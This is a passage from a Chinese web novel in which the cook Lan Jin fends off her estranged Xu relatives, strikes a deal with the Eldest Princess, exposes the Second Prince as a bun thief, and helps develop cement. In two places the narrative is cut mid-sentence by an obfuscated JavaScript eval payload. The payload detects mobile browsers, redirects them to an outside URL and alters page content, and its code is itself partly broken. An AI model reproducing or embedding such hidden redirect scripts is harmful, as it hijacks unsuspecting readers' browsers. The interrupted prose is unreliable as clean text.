“回去告诉你家主人，也不用这样百般防备我，我对做什么徐家长女没兴趣，决计不会碍你们的眼。你们不染指我蓝记的生意，我就烧高香了。” 谁知万国会一过，事情的风向倒有了三百六十度的逆转。 “你这孩子，到底还是年纪小。等你以后年长些，想法就变了。还是嫡嫡亲的血缘靠得住啊，不和自家人亲亲热热，在外面孤苦伶仃的，不是个办法。” 这会儿不指责蓝锦冷血，也不嚷嚷什么冒认、心机。上杆子攀扯孤女裙摆的人换成了徐仲辞本人。 蓝锦严词拒绝了：“上次的事情不过是应付二皇子的发难。你每次来找我，我都说得很清楚，你不想认我，我也不想认你，只是你自己不信。认亲是这样，结亲也是这样，你们就当原来的瑾娘死了吧。” “你这孩子说什么话呢，咱们都得感谢二皇子啊。若不是他推了这一把，我们哪里知道这个机缘？远在天边，近在眼前。瑾娘你就更得家去了，否则，二皇子那，也不大好交代啊。” 这时，门口传来脚步声，竟是大公主走了进来。 “蓝小娘子，一时好奇，听了一会，你不介意吧？” “没什么，厢房门本就开着，我蓝锦坦坦荡荡，这也没什么不可说的。” “我怎么听着，这里还有承彦那孩子的事？” 蓝锦叹了口气，原原本本说与大公主听了：“倒也没什么大事，不过一场误会。” 元宁当即就知道，自家弟弟又在挤兑商贾。他手里那些产业，十之八九都是这么空手套白狼来的。 吃喝玩乐倒也罢了，敢动自己看上的天选干活人，算他皮痒。 “这事你不用担心，我自会去敲打他。” 元宁无所谓地坐下来，自己给自己倒了杯茶。 徐仲辞和翁十娘战战兢兢地行礼，叫元宁挥手免了：“这件事就这样解决。你们还有别的事吗？” “没有，什么事也没有。”徐家夫妇抖着腿，道德绑架的话也一股脑忘了，匆匆退出去了。 蓝锦向元宁扬起一个笑脸，正要致歉：“大公主，抱歉污了您的耳朵。” 却见元宁给她递了一杯茶来：“无妨，就算是皇帝也有几个穷亲戚。” 蓝锦哭笑不得，不敢应这话。 “我今天来找你，其实，是为了你的硝石方子。” “大公主，工部车侍郎已经把硝石制冰的流程整理归档，现下已经赶制出了一批。您与造办处知会一声，保管能看到全程。” “我对冰不感兴趣，对蓝小娘子你，倒是感兴趣得紧。” 蓝锦惊讶得一时不知说什么好。 大公主是来找蓝锦询问其他有利于国计民生的方子的。 她想，既然冰雕方子，和食店不算有直接的关联。那举一反三，她肯定还有很多天南海北的方子！ 元宁把一双炯炯的美目，如狼似虎地盯住蓝锦，眼神中全是渴望。 蓝锦读出了一种卷王的召唤。 蓝锦：害怕.jpg “大殿下，我其实就是个小厨子。” “没问题，你爱做厨子，我就用宫廷食方跟你换，御膳之名也好，题字推介也罢，投注供货，任你挑选。” 蓝锦的眼神咻得一下亮了。 大公主是真心来谈合作的，开出的条件很实在呀。 她当即坐定，与元宁仔细商讨起来。 萧仁禹再次坐在有梅花树的小院中：“是大公主赶走的？” “是。” “留意萧宅那里。” 萧老太君吴文芳的昏迷并没有持续多久。不知是不是发觉了他冒用她的名头，和徐家大夫人翁十娘联系，旧约重提。 她最近又恢复了只在萧仁禹面前病得昏沉，再不济就是一心念佛。在她以为萧仁禹不知道的时候，神采奕奕地进宫走动。 他们两人就这样互相欺瞒，假作困在自己的一方小院，也挺没意趣的。 但是，留给萧仁禹的时间不多了。 萧老太君打定主意要卖弄她和太后母家的交情，企图撮合他与三公主安华的姻缘，几乎要翻到台面上来了。 在他父母狠心废了他的武功，让他以病秧子之姿独自回京，做足了忠心投诚的姿态之后，还嫌不够。 一心以为让他入赘皇家，萧家，不，主要是吴家的荣耀基业，才算真正稳固。 待他这个病秧子一撒手人寰，还有几个人记得安邦定国萧国公的存在？ 那时，萧老太君自然就彻底不必担忧狡兔死，走狗烹。不必担忧是战死沙场还是失职自尽，至今也没个说法的儿子儿媳，牵连一大家子。 萧仁禹到了蓝记品味之后，径直去了东边第一个厢房。 这是蓝锦留给他的，这一向来得少了，蓝小娘子仍是给他打扫得干干净净，并没有让旁人占了去。 萧仁禹看着角落里的充作香薰的佛手柑，笑了一笑。 “诶，你来啦。”蓝锦一边往自己身上系围裙，一边踏进厢房的门。 “是，小娘子，我来了。”萧仁禹满面春意。 “怎么回回都这么会挑时辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231313|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。小秋就快下学了，我刚做了麻辣烫，你也来吃点。” 有来惯了的客人刚好路过，耳尖得很，远远就听见了蓝大掌柜的话，只不平地说道：“掌柜的，这可就大大的不公平了，缘何他那里就能吃到你特地做的饭食，我们也要尝尝！” 凑热闹的人一向不嫌多：“对！大掌柜，那个什么麻辣烫，一听就很不错，给我们也多上几份！” “嘿，掌柜的可别推辞，我可闻着味道了，那又酸又甜又香辣的，是也不是？” 还真是。蓝锦无奈地一一应了，招呼伙计多煮一些，再炒多点酱料。 酱料是黏糊麻辣烫的精髓。两份都铺满了芝麻花生酱，香而不辣的辣椒油，底下是海量蔬菜丝和牛筋面。萧仁禹自告奋勇地一起端去了东厢房。 蓝锦搓了搓手，期待不已地开始搅拌面前的小砂锅。粘糯的麻酱裹满了黄色的玉米面条，海带丝、豆芽菜和千张丝，缀满了辣椒油里的白芝麻，醋香和辣香扑鼻。 其实一点也不辣，只是香而已。东北风格的调味，有恰到好处的咸甜。 喝上一口浓郁的汤汁，甜辣酸香，刺激味蕾，让人胃口大开。 外头大厅里的感叹声传到厢房里来：“掌柜的，这该上菜单子，多卖几份啊！香，鲜，谁能想到蔬菜也这么好吃啊。” “就是，吃得我浑身冒汗，大冬天的，舒服！” “我看着不输正儿八经的酒楼菜，好吃，爱吃！再给我来一份。” “可不是嘛，看着这糊糊涂涂的，我一开始还不敢下嘴。” “你不敢吃正好，都给我！大掌柜今天做的可不多啊，人家是给家里人吃的。你没见过吃饭特香的那女娃娃嘛？” “要我说，就得跟着蓝小娘子的妹妹吃。诶，准没错。你们想啊，人家那近水楼台，得尝过多少小娘子的手艺啊。那口味，一早就养刁啦，寻常菜色，人家妹妹都不看在眼里。” “谁在说我？”小秋斜挎着个小布书包，跑得满头是汗。 她交了新朋友，适应了新书院，成天跑跑玩玩，现在性子开朗得多。 “小秋掌柜，是我。我不是背后说人噢，是想请你给我推荐些好吃的菜呀。”一个慈眉善目的婶娘，伸手扯平小秋身后跑翻起来的衣领。 “我姐姐做的饭，样样都好吃！” “就知道小秋掌柜要这么说。” 蓝锦依旧拿帕子给小秋擦汗，裹着手往她后衣领一伸，又是湿透了。 “我们小秋说得没错，您只管往蓝记品味来，单子上的菜任点。若有不满意的，立时叫了伙计来，告诉厨下，重做一份端上来。” 她一边往小秋背后垫干净纱帕，一边为小秋支应牌面。 “蓝大掌柜就是大气！” “可是，你也没给我们这白吃两份菜的机会啊。哪会不是一上桌，就给抢完了，谁还有空想这些。”有人笑着起哄。 萧仁禹含笑看着蓝锦与客人说笑，心里的主意更坚定了。 他有私心，很重的私心，拼着蓝小娘子骂他也要做。 51. 打脸肉包子 蓝锦最近发现一件奇怪的事：酒楼里每天总是要丢一些餐具。 如果是盘子、碗，还能说得过去。但是，怎么连蒸包子的蒸笼都会丢？ 这种不能被打碎的东西，极少损耗。也没有因为糊锅引起什么火灾，究竟是怎么不见了？ 不可能是伙计偷的，因为这事，就是几个后厨的伙计数出来，告诉了班头，班头再告诉蓝锦的。 他们一致以为，这是对家在偷自家的东西做调研，说不定就是为了破解秘方。 还用这么下三滥的手段，连买都不好意思过来买，竟然想着直接背地里偷。 蓝锦几乎是一瞬间就想到了，当时店里还主推烤鸭的时候，自家运货的车里头，竟然丢过几只鸭子。 他们每回运输的都是整数只，不可能有错漏。养鸡场老板来来回回数了好几遍。 后来又因此改了打包方式，还好没有继续丢，损失不算大。 蓝锦只装作什么也没有发现的样子，让伙计们照常营业，做出一副外紧内送的样子来。 果不其然，等饭点客人最多的时候，有了动静。 此时厨房走菜最为忙乱，乙一在后厨装作伙计的模样蹲着。 他就看见有一个鬼祟的身影，从窗台上伸出一只小白手，仿佛一早就熟悉那里是蓝记出菜的地方。 这是后厨出菜流程的最后一环。这个小窗口本来是蓝锦刻意设计的，里外互相不用看见，只开个小口用来按铃转手。 保证客人不被烟火熏到，又能让出菜更干净卫生。 这人把手往里一伸，就要去拿一笼包子，乙一凭经验看出，这不是一双伙计的手，一把按住。 蓝锦一声令下，几个伙计立刻到墙那头，把手的主人给按住了。 这人还偷了一套跑堂伙计的衣服，打算以假乱真，鱼目混珠，不知不觉就把东西给偷走。 蓝锦可不惯着他，大摇大摆地走过来，叫几个伙计把他押到后院，居高临下地问他： “谁派你来的？你好好说，我不会为难你。你若不好好说，我迟早也会查出来。” “到时就告诉你主子，是你泄露给我的，你照样活不下去。” 这人还想抵赖，乙一请示之后，把他关进旁边的柴房，这一会儿功夫就出来，对蓝锦说： “他招了。” 蓝锦伸脖子一瞥柴房里的动静，怎么做到的？没有血迹，也没有叫声。 但那人脸上狰狞的表情，昭示着这绝不是好言好语你问我答得出来的。 蓝锦一缩脑袋：你们萧府的人，都是这个行事作风？ 这人的主人，说奇怪也不奇怪，说不奇怪但——竟然是二皇子。 穷得揭不开锅啦，竟来偷她家的包子！ 蓝锦略一思忖，回去灶间忙活忙了一会儿，拿起一笼包子，叫那人原样带回去，由乙一一路监视尾随。 那人一路径直去了荣宝楼，二皇子的专属厢房。 这处连挂画都是用金箔雕刻镶嵌的，奢靡无匹，丝竹管乐声，叫人皱起眉头， 二皇子一见着包子，忙不迭往嘴里送，好吃极了！ 摇头晃脑，满面油光地吃了一个又一个。 乙一这下有数了。他跟着收拾餐盘的下人一路尾随，果然在荣宝楼后厨的碗盘间，搜罗出了蓝记的餐具。 蓝锦听了乙一的回话，心头冷哼。 碧空如洗，天光澄澈，今日难得是个好天。 蓝锦站在蓝记的大门口，蒸笼里腾起的热气在日光下化作氤氲淡白。 她已经许久没有这样大张旗鼓地摆摊了，因此新老宾客都兴致勃勃地围观。 蓝锦正在推销自家的“天潢贵胄珍馐包”，这名头一喊出来就十分夺人眼目。 据蓝锦介绍，这是专为有身份的人打造，只有达官显贵才有福消受。 众人一看，果不其然，它不仅有极其奢华的包装，镶着金箔，价格也是极其昂贵的。 蓝锦一再强调，这款包子，只有极其懂得美食的人才能品味出其中的微妙味道。 要说起她为何会做这款包子，就因为她最近遇上了一位极其识货的伯乐。 这位伯乐认可她就是美食界的千里马，一眼就看上了自家的包子。只是对方身份尊贵得不得了，只愿默默品味自家包子的美味。 蓝锦渲染起东西来，文采飞扬。不一会，大家真信了，这样一位神秘人士，却只愿意来蓝记品尝。 那不正说明，蓝记才是天都城里头一份吗？ 但是蓝锦却绝不愿透露这人是谁，只说，她今日慷慨分享这等奇遇给大家。 她今日又新研制出几款包子，设下这次美食小会，把新研制出的包子和本尊掺在其中。 看谁能尝出此前神秘伯乐一眼就看中的“天潢贵胄珍馐包”，有惊喜。 二皇子就在不远处的马车里作者，听了蓝锦这番说辞，心里打嘀咕。 怎么隐隐觉得在间接讽刺自己？ 什么身份尊贵的神秘人士，爱吃“天潢贵胄珍馐包”，从不现身，这不是吊大家胃口吗？ 若真让她忽悠成了，那不是让蓝锦拿着他的身份，来给她自己家的东西抬轿子？ 自己随随便便一个举动，竟然还给了蓝锦这种灵感，他才不愿意。 若是大家知道，什么很懂美食的神秘伯乐都是蓝锦的营销，实际是她对家，看大家不嘲讽她才怪。 二皇子一开始是想低调看戏的，看着拥挤的人群皆上前品尝，个个都赞不绝口。 好些人都说：“蓝小娘子家的包子个个都好吃极了，实在是猜不对哪一个是伯乐爱的呀！” “不好说，原来我才是小娘子家的神秘伯乐，我现在封在场的包子都是‘天潢贵胄珍馐包’。” 大家都是看看左边，又看看右边，谁也不舍得只选出一个最特别的包子。因为这些大包，个个好吃！ 氛围越炒越热。 这群不知所谓的无知小民，他才是身份高贵的那个伯乐！ 二皇子忍不住排开众人，顺手拿起一个包子，一口咬下去，立刻就认出了——这是他最近偷吃的那种味道。 肉汁流了满嘴，肉质不是紧揪揪的，却是松软弹嫩的。 包子皮格外暄软吸汁，每一个小孔洞都在释放香味。 他不动声色，把所有都品尝过了一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243323|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，其他都是新味道。 二皇子装模作样把手举高：“就是这个，这个就是‘天潢贵胄珍馐包’。” “果然是专为天潢贵胄定制的味道，绝不是普通的包子可以媲美的。其他都不是，我就是神秘伯乐。” 蓝锦笑盈盈地揭示答案：“其余包子都是今日刚研制的馅。就这个包子，确实是唯一一个前些时日推出的。” “今日只为跟大家凑个趣，说是‘天潢贵胄珍馐包’，不过是普普通通的黑猪肉大包。” “到外头去卖，不过几文钱。” 蓝锦手下如蝴蝶翻飞，搬出一盆现调的黑猪肉馅，包成一个十八个褶子的大包。 上锅蒸了不一会，拿下来给大伙一看，果然，从色泽到味道，和所谓的“天潢贵胄珍馐包”一模一样！ “这神秘伯乐其实不存在，只不过是一个面皮薄的小偷。只偷我家的东西吃，却不敢现身。” “从没有什么天潢贵胄才配吃的包子。只是今日二皇子倒叫我开了眼，原来平民美食真能吸引来天潢贵胄啊。” 二皇子只觉羞愤交加。但是他说出的吹捧，像泼出去的水，收不回来了。 他气急败坏地指责蓝锦给自己设下陷阱。 却遭人群里不知名的声音调笑：“不能说是假的，这贵胄包原来是真的，真是连天潢贵胄都爱吃的！” “名不虚传！” 二皇子恼得红涨着一张脸，蓝锦却不慌不忙地说：“萝卜白菜，各有所爱。爱吃包子，也没有什么大不了。” “二皇子您喜欢吃，说明您识货，当是我们家的座上宾。” “以后您正经来我家买着吃，这多好啊，可别学神秘伯乐偷着吃了。” 二皇子没回答，因为他听不下去，一溜烟跑了。 大公主甚至也来了，也不知道是清楚还是不清楚，状似无意地说：“你家那高贵肉包子，也给我来几份啊。” 元宁是来找蓝锦商量新实验品的事。 蓝锦正要改良自家的酿酒池和冷藏冰窖，现在虽是冬天，蓝锦也要为夏天的经营做好准备。 她打算起一个非常大的酿酒专用池，用来研发新品。 此外，如果能够设置一个密封的地方，放些冰块，那就是天然的冰箱。夏天时许多食材就不用愁了。 所以，蓝锦思来想去，如何能既满足自己的经营，又满足大公主的建设需要，她想到了一个——水泥！ 大公主按照蓝锦指的方向，调换了不下几百回，终于琢磨出了一个稳定的配方。 如今铺上水泥的地方，已经晾晒了好些天了。 今日一试，果然平整、光滑、不渗水，又坚硬。 理想的修路、建房材料！ 大公主喜出望外，摩拳擦掌，她能看到都城的建设，交通的改造，还有平民房舍的加固，好多好多的好处...... 蓝锦倒是别无所求。她只求借了大公主和营造处的光，把自家的酿酒池和冷藏冰箱建造起来。 大公主却不愿意埋没她的功劳，到底还是把蓝锦的名号写在了表彰札子里。 如是，风风火火地去推行她的基础建设去了